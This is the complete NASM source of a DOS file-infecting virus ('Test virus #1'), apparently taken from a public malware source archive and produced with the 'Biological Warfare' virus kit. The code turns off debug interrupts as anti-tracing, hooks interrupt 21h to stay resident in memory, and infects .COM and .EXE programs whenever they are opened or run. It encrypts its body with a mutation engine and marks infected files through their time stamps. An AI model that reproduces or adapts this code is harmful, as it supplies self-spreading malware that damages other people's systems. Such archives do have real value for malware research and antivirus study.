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https://github.com/vxunderground/MalwareSourceCode.git
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380 lines
12 KiB
NASM
380 lines
12 KiB
NASM
; test1.asm : Test virus #1
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; Created with Biological Warfare - Version 0.90á by MnemoniX
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PING equ 0F43Fh
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PONG equ 0B1DEh
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STAMP equ 26
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MARKER equ 07070h
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code segment
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org 0
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assume cs:code,ds:code
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start:
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db 0E9h,3,0 ; to virus
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host:
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db 0CDh,20h,0 ; host program
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virus_begin:
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push ds es
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call $ + 3 ; BP is instruction ptr.
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pop bp
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sub bp,offset $ - 1
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xor ax,ax ; mild anti-trace code
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mov es,ax ; kill interrupts 1 & 3
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mov di,6
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stosw
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mov di,14
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stosw
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in al,21h ; lock out & reopen keyboard
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xor al,2
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out 21h,al
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xor al,2
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out 21h,al
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mov ax,PING ; test for residency
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int 21h
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cmp bx,PONG
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je installed
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mov ax,es ; Get PSP
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dec ax
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mov ds,ax ; Get MCB
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sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
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sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
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mov es,word ptr ds:[12h]
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push cs ; copy virus into memory
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pop ds
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xor di,di
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mov si,bp
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mov cx,(virus_end - start) / 2 + 1
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rep movsw
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xor ax,ax ; capture interrupts
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mov ds,ax
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mov si,21h * 4 ; get original int 21
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mov di,offset old_int_21
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movsw
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movsw
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mov word ptr ds:[si - 4],offset new_int_21
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mov ds:[si - 2],es ; and set new int 21
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installed:
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pop es ds ; restore segregs
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cmp sp,MARKER ; check for .EXE
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je exe_exit
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com_exit:
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mov si,[bp + mutator] ; restore host program
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sub si,3
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mov di,100h
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push di
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movsw
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movsb
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call fix_regs ; fix up registers
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ret ; and leave
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exe_exit:
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mov ax,ds ; fix up return address
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add ax,10h
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push ax
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add ax,cs:[bp + exe_cs]
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mov cs:[bp + return_cs],ax
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mov ax,cs:[bp + exe_ip]
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mov cs:[bp + return_ip],ax
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pop ax
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add ax,cs:[bp + exe_ss] ; restore stack
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cli
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mov ss,ax
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mov sp,cs:[bp + exe_sp]
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call fix_regs ; fix up registers
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sti
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db 0EAh ; back to host program
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return_ip dw 0
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return_cs dw 0
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exe_cs dw -16 ; orig CS:IP
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exe_ip dw 103h
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exe_sp dw -2 ; orig SS:SP
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exe_ss dw -16
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fix_regs:
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xor ax,ax
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cwd
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xor bx,bx
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mov si,100h
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xor di,di
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xor bp,bp
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ret
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; interrupt 21 handler
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int_21:
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pushf
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call dword ptr cs:[old_int_21]
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ret
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new_int_21:
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cmp ax,PING ; residency test
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je ping_pong
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cmp ah,3Dh ; file open
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je file_open
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cmp ax,4B00h ; execute program
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je execute
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int_21_exit:
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db 0EAh ; never mind ...
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old_int_21 dd 0
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ping_pong:
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mov bx,PONG
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iret
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file_open:
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push ax cx di es
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call get_extension
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cmp [di],'OC' ; .COM file?
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jne perhaps_exe ; perhaps .EXE then
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cmp byte ptr [di + 2],'M'
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jne not_prog
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jmp a_program
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perhaps_exe:
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cmp [di],'XE' ; .EXE file?
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jne not_prog
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cmp byte ptr [di + 2],'E'
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jne not_prog
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a_program:
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pop es di cx ax
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jmp execute ; infect file
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not_prog:
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pop es di cx ax
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jmp int_21_exit
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execute:
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push ax bx cx dx si di ds es
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xor ax,ax ; critical error handler
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mov es,ax ; routine - catch int 24
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mov es:[24h * 4],offset int_24
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mov es:[24h * 4 + 2],cs
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mov ax,4300h ; change attributes
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int 21h
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push cx dx ds
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xor cx,cx
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call set_attributes
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mov ax,3D02h ; open file
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call int_21
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jnc open_it
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jmp cant_open
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open_it:
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xchg bx,ax
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push cs ; CS = DS
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pop ds
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mov ax,5700h ; save file date/time
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int 21h
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push cx dx
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and cl,31 ; check time stamp
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cmp cl,STAMP
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jnz its_ok
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jmp dont_infect
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its_ok:
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mov ah,3Fh
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mov cx,28
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mov dx,offset read_buffer
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int 21h
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cmp word ptr read_buffer,'ZM' ; .EXE?
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jne its_ok_2
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jmp infect_exe
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its_ok_2:
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mov al,2 ; move to end of file
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call move_file_ptr
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cmp dx,65279 - (VIRUS_SIZE + 3)
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ja dont_infect ; too big, don't infect
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mov word ptr new_jump + 1,dx
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add dx,103h
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mov mutator,dx
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push cs ; call Biological Warfare
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pop es ; Mutation Engine
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mov cx,VIRUS_SIZE
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mov di,offset encrypt_buffer
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mov si,offset virus_begin
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call _bwme
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push cx
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mov cx,3
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mov ah,40h
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mov dx,offset read_buffer ; save original program head
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int 21h
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mov ah,40h ; write virus to file
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pop cx
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mov dx,offset encrypt_buffer
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int 21h
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xor al,al ; back to beginning of file
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call move_file_ptr
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mov dx,offset new_jump ; and write new jump
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int 21h
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fix_date_time:
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pop dx cx
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and cl,-32 ; add time stamp
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or cl,STAMP
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mov ax,5701h ; restore file date/time
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int 21h
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close:
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pop ds dx cx ; restore attributes
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call set_attributes
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mov ah,3Eh ; close file
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int 21h
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cant_open:
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pop es ds di si dx cx bx ax
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jmp int_21_exit ; leave
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set_attributes:
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mov ax,4301h
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int 21h
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ret
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dont_infect:
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pop cx dx ; can't infect, skip
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jmp close
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move_file_ptr:
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mov ah,42h ; move file pointer
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cwd
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xor cx,cx
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int 21h
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mov dx,ax ; set up registers
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mov ah,40h
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mov cx,3
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ret
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infect_exe:
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cmp word ptr read_buffer[26],0
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jne dont_infect ; overlay, don't infect
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cmp word ptr read_buffer[16],MARKER
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je dont_infect ; infected already
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les ax,dword ptr read_buffer[20]
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mov exe_cs,es ; CS
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mov exe_ip,ax ; IP
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les ax,dword ptr read_buffer[14]
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mov exe_ss,ax ; SS
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mov exe_sp,es ; SP
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mov word ptr read_buffer[16],MARKER
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mov ax,4202h ; to end of file
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cwd
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xor cx,cx
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int 21h
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push ax dx ; save file size
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push bx
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mov cl,12 ; calculate offsets for CS
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shl dx,cl ; and IP
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mov bx,ax
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mov cl,4
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shr bx,cl
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add dx,bx
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and ax,15
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pop bx
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sub dx,word ptr read_buffer[8]
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mov word ptr read_buffer[22],dx
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mov word ptr read_buffer[20],ax
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add dx,100
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mov word ptr read_buffer[14],dx
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pop dx ax ; calculate prog size
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add ax,VIRUS_SIZE + 3
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adc dx,0
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mov cx,512 ; in pages
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div cx ; then save results
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inc ax
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mov word ptr read_buffer[2],dx
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mov word ptr read_buffer[4],ax
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mov dx,word ptr read_buffer[20]
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mov cx,VIRUS_SIZE ; call BWME
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mov di,offset encrypt_buffer
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mov si,offset virus_begin
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push cs
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pop es
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call _bwme
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mov ah,40h
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mov dx,offset encrypt_buffer
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int 21h
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mov ax,4200h ; back to beginning
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cwd
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xor cx,cx
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int 21h
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mov ah,40h ; and fix up header
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mov cx,28
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mov dx,offset read_buffer
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int 21h
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jmp fix_date_time ; done
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courtesy_of db '[BW]',0
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signature db 'Test virus #1',0
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get_extension:
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push ds ; find extension
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pop es
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mov di,dx
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mov cx,64
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mov al,'.'
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repnz scasb
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ret
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include bwme.asm
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int_24:
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mov al,3 ; int 24 handler
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iret
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mutator dw 106h
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new_jump db 0E9h,0,0
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virus_end:
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VIRUS_SIZE equ virus_end - virus_begin
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read_buffer db 28 dup (?) ; read buffer
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encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer
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end_heap:
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MEM_SIZE equ end_heap - start
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code ends
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end start
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